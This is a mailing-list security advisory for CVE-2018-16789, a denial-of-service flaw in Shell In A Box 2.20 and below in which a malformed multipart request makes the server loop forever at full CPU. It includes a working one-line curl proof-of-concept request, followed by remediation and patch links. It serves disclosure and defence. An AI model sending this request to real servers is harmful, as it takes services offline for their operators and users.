CVE-2018-16789: denial of service in shellinabox

                							

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<h1 class="m-title">CVE-2018-16789: denial of service in shellinabox</h1>
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<em>From</em>: Imre Rad &lt;radimre83 () gmail com&gt;


<em>Date</em>: Fri, 26 Oct 2018 14:07:31 +0200


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<pre style="margin: 0em;">Product: Shell In A Box (aka shellinabox, shellinaboxd)

"Shell In A Box implements a web server that can export arbitrary command
line tools to a web based terminal emulator. This emulator is accessible to
any JavaScript and CSS enabled web browser and does not require any
additional browser plugins. "
Most official-ish site: <a rel="nofollow" href="https://github.com/shellinabox/shellinabox">https://github.com/shellinabox/shellinabox</a>

Vulnerability description:

The multipart/form-data parser function in the built-in webserver of Shell
In A Box enters an infinite loop in case of malformed request payload, the
server stops serving new requests and the the process eats up 100% of CPU
time.

Exploitation:

curl -v --header "Content-type: multipart/form-data;
boundary=------------------------8d14c0216fd84557" -d "impeachment"
<a rel="nofollow" href="http://127.0.0.1:4200/s/">http://127.0.0.1:4200/s/</a>


Affected Shell In A Box versions:
2.20 and below

Remediation:
Upgrade to 2.21
Package available in Debian sid:
<a rel="nofollow" href="https://packages.debian.org/source/sid/shellinabox">https://packages.debian.org/source/sid/shellinabox</a>
Patch: <a rel="nofollow" href="https://github.com/shellinabox/shellinabox/pull/446">https://github.com/shellinabox/shellinabox/pull/446</a>

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<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>CVE-2018-16789: denial of service in shellinabox</strong> <em>Imre Rad (Oct 26)</em>
</li></ul>


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